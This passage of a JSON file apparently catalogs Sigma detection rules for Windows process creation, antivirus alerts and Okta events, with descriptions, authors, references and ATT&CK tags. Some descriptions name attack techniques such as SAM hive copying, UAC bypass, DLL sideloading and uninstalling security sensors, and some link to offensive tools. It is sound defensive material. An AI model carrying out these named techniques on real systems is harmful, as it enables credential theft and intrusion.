        "filename": "proc_creation_win_dnscmd_install_new_server_level_plugin_dll.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83",
          "https://blog.3or.de/hunting-dns-server-level-plugin-dll-injection.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dnscmd_install_new_server_level_plugin_dll.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1574.002",
          "attack.t1112"
        ]
      },
      "related": [
        {
          "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f63b56ee-3f79-4b8a-97fb-5c48007e8573",
      "value": "New DNS ServerLevelPluginDll Installed Via Dnscmd.EXE"
    },
    {
      "description": "Detects execution of the Notepad++ updater (gup) from a process other than Notepad++ to download files.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/06/10",
        "falsepositive": [
          "Other parent processes other than notepad++ using GUP that are not currently identified"
        ],
        "filename": "proc_creation_win_gup_download.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/nas_bench/status/1535322182863179776",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_gup_download.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1105"
        ]
      },
      "related": [
        {
          "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "44143844-0631-49ab-97a0-96387d6b2d7c",
      "value": "File Download Using Notepad++ GUP Utility"
    },
    {
      "description": "Detects suspicious PowerShell scripts accessing SAM hives",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2021/07/29",
        "falsepositive": [
          "Some rare backup scenarios",
          "PowerShell scripts fixing HiveNightmare / SeriousSAM ACLs"
        ],
        "filename": "proc_creation_win_powershell_sam_access.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/splinter_code/status/1420546784250769408",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_sam_access.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1af57a4b-460a-4738-9034-db68b880c665",
      "value": "PowerShell SAM Copy"
    },
    {
      "description": "Detects Certify a tool for Active Directory certificate abuse based on PE metadata characteristics and common command line arguments.",
      "meta": {
        "author": "pH-T (Nextron Systems)",
        "creation_date": "2023/04/17",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_hktl_certify.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/GhostPack/Certify",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_certify.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.credential_access",
          "attack.t1649"
        ]
      },
      "related": [
        {
          "dest-uuid": "7de1f7ac-5d0c-4c9c-8873-627202205331",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "762f2482-ff21-4970-8939-0aa317a886bb",
      "value": "HackTool - Certify Execution"
    },
    {
      "description": "Detects the pattern of UAC Bypass using NTFS reparse point and wusa.exe DLL hijacking (UACMe 36)",
      "meta": {
        "author": "Christian Burkard (Nextron Systems)",
        "creation_date": "2021/08/30",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_uac_bypass_ntfs_reparse_point.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/hfiref0x/UACME",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_ntfs_reparse_point.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1548.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "39ed3c80-e6a1-431b-9df3-911ac53d08a7",
      "value": "UAC Bypass Using NTFS Reparse Point - Process"
    },
    {
      "description": "Detects the execution of a renamed ProcDump executable often used by attackers or malware",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2019/11/18",
        "falsepositive": [
          "Procdump illegaly bundled with legitimate software",
          "Administrators who rename binaries (should be investigated)"
        ],
        "filename": "proc_creation_win_renamed_sysinternals_procdump.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/sysinternals/downloads/procdump",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_sysinternals_procdump.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1036.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "4a0b2c7e-7cb2-495d-8b63-5f268e7bfd67",
      "value": "Renamed ProcDump Execution"
    },
    {
      "description": "Detects the usage of nimgrab, a tool bundled with the Nim programming framework and used for downloading files.",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/08/28",
        "falsepositive": [
          "Legitimate use of Nim on a developer systems"
        ],
        "filename": "proc_creation_win_pua_nimgrab.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/28d190330fe44de6ff4767fc400cc10fa7cd6540/atomics/T1105/T1105.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_nimgrab.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1105"
        ]
      },
      "related": [
        {
          "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "74a12f18-505c-4114-8d0b-8448dd5485c6",
      "value": "PUA - Nimgrab Execution"
    },
    {
      "description": "Detects execution of of Dxcap.exe",
      "meta": {
        "author": "Beyu Denis, oscd.community, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2019/10/26",
        "falsepositive": [
          "Legitimate execution of dxcap.exe by legitimate user"
        ],
        "filename": "proc_creation_win_lolbin_susp_dxcap.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Dxcap/",
          "https://twitter.com/harr0ey/status/992008180904419328",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_dxcap.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "60f16a96-db70-42eb-8f76-16763e333590",
      "value": "Application Whitelisting Bypass via Dxcap.exe"
    },
    {
      "description": "Detects potential sideloading of \"mpclient.dll\" by Windows Defender processes (\"MpCmdRun\" and \"NisSrv\") from their non-default directory.",
      "meta": {
        "author": "Bhabesh Raj",
        "creation_date": "2022/08/01",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_mpcmdrun_dll_sideload_defender.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mpcmdrun_dll_sideload_defender.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1574.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "7002aa10-b8d4-47ae-b5ba-51ab07e228b9",
      "value": "Potential Mpclient.DLL Sideloading Via Defender Binaries"
    },
    {
      "description": "Detects the execution of Xwizard tool from the non-default directory which can be used to sideload a custom xwizards.dll",
      "meta": {
        "author": "Christian Burkard (Nextron Systems)",
        "creation_date": "2021/09/20",
        "falsepositive": [
          "Windows installed on non-C drive"
        ],
        "filename": "proc_creation_win_lolbin_dll_sideload_xwizard.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/Xwizard/",
          "http://www.hexacorn.com/blog/2017/07/31/the-wizard-of-x-oppa-plugx-style/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_dll_sideload_xwizard.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1574.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "193d5ccd-6f59-40c6-b5b0-8e32d5ddd3d1",
      "value": "Xwizard DLL Sideloading"
    },
    {
      "description": "Detects the execution of a renamed \"CURL.exe\" binary based on the PE metadata fields",
      "meta": {
        "author": "X__Junior (Nextron Systems)",
        "creation_date": "2023/09/11",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_renamed_curl.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/Kostastsale/status/1700965142828290260",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_curl.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059",
          "attack.defense_evasion",
          "attack.t1202"
        ]
      },
      "related": [
        {
          "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "7530cd3d-7671-43e3-b209-976966f6ea48",
      "value": "Renamed CURL.EXE Execution"
    },
    {
      "description": "Detect activation of DisableRestrictedAdmin to disable RestrictedAdmin mode.\nRestrictedAdmin mode prevents the transmission of reusable credentials to the remote system to which you connect using Remote Desktop.\nThis prevents your credentials from being harvested during the initial connection process if the remote server has been compromise\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2023/01/13",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_reg_lsa_disable_restricted_admin.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/a8e3cf63e97b973a25903d3df9fd55da6252e564/atomics/T1112/T1112.md",
          "https://social.technet.microsoft.com/wiki/contents/articles/32905.remote-desktop-services-enable-restricted-admin-mode.aspx",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_lsa_disable_restricted_admin.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1112"
        ]
      },
      "related": [
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "28ac00d6-22d9-4a3c-927f-bbd770104573",
      "value": "Disabled RestrictedAdminMode For RDS - ProcCreation"
    },
    {
      "description": "Detects the use of the PowerShell \"Set-Service\" cmdlet to change the startup type of a service to \"disabled\" or \"manual\"",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/03/04",
        "falsepositive": [
          "False positives may occur with troubleshooting scripts"
        ],
        "filename": "proc_creation_win_powershell_set_service_disabled.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.virustotal.com/gui/file/38283b775552da8981452941ea74191aa0d203edd3f61fb2dee7b0aea3514955",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_set_service_disabled.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.defense_evasion",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "62b20d44-1546-4e61-afce-8e175eb9473c",
      "value": "Service StartupType Change Via PowerShell Set-Service"
    },
    {
      "description": "Adversaries may disable security tools to avoid possible detection of their tools and activities by uninstalling Crowdstrike Falcon",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/07/12",
        "falsepositive": [
          "Administrator might leverage the same command line for debugging or other purposes. However this action must be always investigated"
        ],
        "filename": "proc_creation_win_uninstall_crowdstrike_falcon.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uninstall_crowdstrike_falcon.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f0f7be61-9cf5-43be-9836-99d6ef448a18",
      "value": "Uninstall Crowdstrike Falcon Sensor"
    },
    {
      "description": "Identifies use of various commands to query a systems time. This technique may be used before executing a scheduled task or to discover the time zone of a target system.",
      "meta": {
        "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community",
        "creation_date": "2019/10/24",
        "falsepositive": [
          "Legitimate use of the system utilities to discover system time for legitimate reason"
        ],
        "filename": "proc_creation_win_remote_time_discovery.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://eqllib.readthedocs.io/en/latest/analytics/fcdb99c2-ac3c-4bde-b664-4b336329bed2.html",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1124/T1124.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_time_discovery.yml"
        ],
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        "author": "Florian Roth (Nextron Systems)",
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        "level": "high",
        "logsource.category": "process_creation",
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        "refs": [
          "https://www.anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_screenconnect_access.yml"
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      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
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        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_remote_access_tools_rurat_non_default_location.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
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          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_rurat_non_default_location.yml"
        ],
        "tags": [
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      "uuid": "e01fa958-6893-41d4-ae03-182477c5e77d",
      "value": "Remote Access Tool - RURAT Execution From Unusual Location"
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    {
      "description": "Detects AnyDesk Remote Desktop silent installation. Which can be used by attackers to gain remote access.",
      "meta": {
        "author": "Ján Trenčanský",
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          "Legitimate deployment of AnyDesk"
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        "filename": "proc_creation_win_remote_access_tools_anydesk_silent_install.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
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      "uuid": "114e7f1c-f137-48c8-8f54-3088c24ce4b9",
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      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
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        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://thedfirreport.com/2022/11/28/emotet-strikes-again-lnk-file-leads-to-domain-wide-ransomware/",
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          "https://www.softpedia.com/get/Antivirus/Removal-Tools/ithurricane-PowerTool.shtml",
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      },
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      "value": "HackTool - PowerTool Execution"
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      "description": "Detects suspicious Rundll32 execution from control.exe as used by Equation Group and Exploit Kits",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
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        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_rundll32_susp_control_dll_load.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/felixw3000/status/853354851128025088",
          "https://twitter.com/rikvduijn/status/853251879320662017",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_susp_control_dll_load.yml"
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      "value": "Suspicious Control Panel DLL Load"
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      "description": "Detects child processes of \"provlaunch.exe\" which might indicate potential abuse to proxy execution.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems), Swachchhanda Shrawan Poudel",
        "creation_date": "2023/08/08",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_provlaunch_potential_abuse.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/0gtweet/status/1674399582162153472",
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        "tags": [
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        "level": "critical",
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        "falsepositive": [
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        ],
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        ],
        "filename": "av_exploiting.yml",
        "level": "critical",
        "logsource.category": "antivirus",
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          "https://www.virustotal.com/gui/file/d9669f7e3eb3a9cdf6a750eeb2ba303b5ae148a43e36546896f1d1801e912466",
          "https://www.nextron-systems.com/?s=antivirus",
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        "falsepositive": [
          "Unlikely"
        ],
        "filename": "av_hacktool.yml",
        "level": "high",
        "logsource.category": "antivirus",
        "logsource.product": "No established product",
        "refs": [
          "https://www.nextron-systems.com/2021/08/16/antivirus-event-analysis-cheat-sheet-v1-8-2/",
          "https://www.nextron-systems.com/?s=antivirus",
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      "meta": {
        "author": "Florian Roth (Nextron Systems), Arnim Rupp",
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        ],
        "filename": "av_webshell.yml",
        "level": "high",
        "logsource.category": "antivirus",
        "logsource.product": "No established product",
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        "logsource.category": "antivirus",
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      "description": "Detects when Okta FastPass prevents a known phishing site.",
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        "logsource.category": "No established category",
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        "filename": "okta_security_threat_detected.yml",
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      "description": "Detects when Okta identifies new activity in the Admin Console.",
      "meta": {
        "author": "kelnage",
        "creation_date": "2023/09/07",
        "falsepositive": [
          "Whenever an admin starts using new features of the admin console."
        ],
        "filename": "okta_new_behaviours_admin_console.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "okta",
        "refs": [
          "https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection",
          "https://developer.okta.com/docs/reference/api/system-log/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_new_behaviours_admin_console.yml"
        ],
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          "attack.t1078.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "f232fa7a-025c-4d43-abc7-318e81a73d65",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a0b38b70-3cb5-484b-a4eb-c4d8e7bcc0a9",
      "value": "Okta New Admin Console Behaviours"
    },
    {
      "description": "Detects when an Okta end-user reports activity by their account as being potentially suspicious.",
      "meta": {
        "author": "kelnage",
        "creation_date": "2023/09/07",
        "falsepositive": [
          "If an end-user incorrectly identifies normal activity as suspicious."
        ],
        "filename": "okta_suspicious_activity_enduser_report.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "okta",
        "refs": [
          "https://github.com/okta/workflows-templates/blob/master/workflows/suspicious_activity_reported/readme.md",
          "https://developer.okta.com/docs/reference/api/system-log/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_suspicious_activity_enduser_report.yml"
        ],
        "tags": [
          "attack.resource_development",
          "attack.t1586.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "3d52e51e-f6db-4719-813c-48002a99f43a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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        }
      ],
      "uuid": "07e97cc6-aed1-43ae-9081-b3470d2367f1",
      "value": "Okta Suspicious Activity Reported by End-user"
    },
    {
      "description": "Detects when an user account is locked out.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/09/12",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "okta_user_account_locked_out.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "okta",
        "refs": [
          "https://developer.okta.com/docs/reference/api/event-types/",
          "https://developer.okta.com/docs/reference/api/system-log/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_user_account_locked_out.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.t1531"
        ]
      },
      "related": [
        {
          "dest-uuid": "b24e2a20-3b3d-4bf0-823b-1ed765398fb0",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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      ],
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      "value": "Okta User Account Locked Out"
    },
    {
      "description": "Detects when a new identity provider is created for Okta.",
      "meta": {
        "author": "kelnage",
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          "When an admin creates a new, authorised identity provider."
        ],
        "filename": "okta_identity_provider_created.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "okta",
        "refs": [
          "https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection",
          "https://developer.okta.com/docs/reference/api/system-log/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_identity_provider_created.yml"
        ],
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          "attack.t1098.001"
        ]
      },
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        {
          "dest-uuid": "8a2f40cf-8325-47f9-96e4-b1ca4c7389bd",
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        }
      ],
      "uuid": "969c7590-8c19-4797-8c1b-23155de6e7ac",
      "value": "Okta Identity Provider Created"
    },
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      "description": "Detects when a API Token is revoked.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/09/12",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "okta_api_token_revoked.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "okta",
        "refs": [
          "https://developer.okta.com/docs/reference/api/event-types/",
          "https://developer.okta.com/docs/reference/api/system-log/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_api_token_revoked.yml"
        ],
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          "attack.impact"
        ]
      },
      "uuid": "cf1dbc6b-6205-41b4-9b88-a83980d2255b",
      "value": "Okta API Token Revoked"
    },
    {
      "description": "Detects when an Policy Rule is Modified or Deleted.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/09/12",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "okta_policy_rule_modified_or_deleted.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "okta",
        "refs": [
          "https://developer.okta.com/docs/reference/api/event-types/",
          "https://developer.okta.com/docs/reference/api/system-log/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_policy_rule_modified_or_deleted.yml"
        ],
        "tags": [
          "attack.impact"
        ]
      },
      "uuid": "0c97c1d3-4057-45c9-b148-1de94b631931",
      "value": "Okta Policy Rule Modified or Deleted"
    },
    {
      "description": "Detects when unauthorized access to app occurs.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/09/12",
        "falsepositive": [
          "User might of believe that they had access."
        ],
        "filename": "okta_unauthorized_access_to_app.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "okta",
        "refs": [
          "https://developer.okta.com/docs/reference/api/event-types/",
          "https://developer.okta.com/docs/reference/api/system-log/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_unauthorized_access_to_app.yml"
        ],
        "tags": [
          "attack.impact"
        ]
      },
      "uuid": "6cc2b61b-d97e-42ef-a9dd-8aa8dc951657",
      "value": "Okta Unauthorized Access to App"
    },
    {
      "description": "Detects when an application Sign-on Policy is modified or deleted.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/09/12",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "okta_application_sign_on_policy_modified_or_deleted.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "okta",
        "refs": [
          "https://developer.okta.com/docs/reference/api/event-types/",
          "https://developer.okta.com/docs/reference/api/system-log/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_application_sign_on_policy_modified_or_deleted.yml"
        ],
        "tags": [
          "attack.impact"
        ]
      },
      "uuid": "8f668cc4-c18e-45fe-ad00-624a981cf88a",
      "value": "Okta Application Sign-On Policy Modified or Deleted"
    },
    {
      "description": "Detects when a new admin role assignment is created. Which could be a sign of privilege escalation or persistence",
      "meta": {
        "author": "Nikita Khalimonenkov",
        "creation_date": "2023/01/19",
        "falsepositive": [
          "Legitimate creation of a new admin role assignment"
        ],
        "filename": "okta_admin_role_assignment_created.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "okta",
        "refs": [
          "https://developer.okta.com/docs/reference/api/event-types/",
          "https://developer.okta.com/docs/reference/api/system-log/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_admin_role_assignment_created.yml"
        ],
        "tags": [
          "attack.persistence"
        ]
      },
      "uuid": "139bdd4b-9cd7-49ba-a2f4-744d0a8f5d8c",
      "value": "Okta Admin Role Assignment Created"
    },
    {
      "description": "Detects when an the Administrator role is assigned to an user or group.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/09/12",
        "falsepositive": [
          "Administrator roles could be assigned to users or group by other admin users."
        ],
        "filename": "okta_admin_role_assigned_to_user_or_group.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "okta",
        "refs": [
          "https://developer.okta.com/docs/reference/api/event-types/",
          "https://developer.okta.com/docs/reference/api/system-log/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_admin_role_assigned_to_user_or_group.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1098.003"
        ]
      },
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        {
          "dest-uuid": "2dbbdcd5-92cf-44c0-aea2-fe24783a6bc3",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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        }
      ],
      "uuid": "413d4a81-6c98-4479-9863-014785fd579c",
      "value": "Okta Admin Role Assigned to an User or Group"
    },
    {
      "description": "Detects new user account creation",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/10/25",
        "falsepositive": [
          "Legitimate and authorized user creation"
        ],
        "filename": "okta_user_created.yml",
        "level": "informational",
        "logsource.category": "No established category",
        "logsource.product": "okta",
        "refs": [
          "https://developer.okta.com/docs/reference/api/event-types/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_user_created.yml"
        ],
        "tags": [
          "attack.credential_access"
        ]
      },
      "uuid": "b6c718dd-8f53-4b9f-98d8-93fdca966969",
      "value": "New Okta User Created"
    },
    {
      "description": "Detects when an application is modified or deleted.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/09/12",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "okta_application_modified_or_deleted.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "okta",
        "refs": [
          "https://developer.okta.com/docs/reference/api/event-types/",
          "https://developer.okta.com/docs/reference/api/system-log/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_application_modified_or_deleted.yml"
        ],
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          "attack.impact"
        ]
      },
      "uuid": "7899144b-e416-4c28-b0b5-ab8f9e0a541d",
      "value": "Okta Application Modified or Deleted"
    },
    {
      "description": "Detects when a user has potentially entered their password into the\nusername field, which will cause the password to be retained in log files.\n",
      "meta": {
        "author": "kelnage",
        "creation_date": "2023/04/03",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "okta_password_in_alternateid_field.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "okta",
        "refs": [
          "https://www.mitiga.io/blog/how-okta-passwords-can-be-compromised-uncovering-a-risk-to-user-data",
          "https://help.okta.com/en-us/Content/Topics/users-groups-profiles/usgp-create-character-restriction.htm",
          "https://developer.okta.com/docs/reference/api/system-log/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_password_in_alternateid_field.yml"
        ],
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          "attack.t1552"
        ]
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        {
          "dest-uuid": "435dfb86-2697-4867-85b5-2fef496c0517",
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      "value": "Potential Okta Password in AlternateID Field"
    },
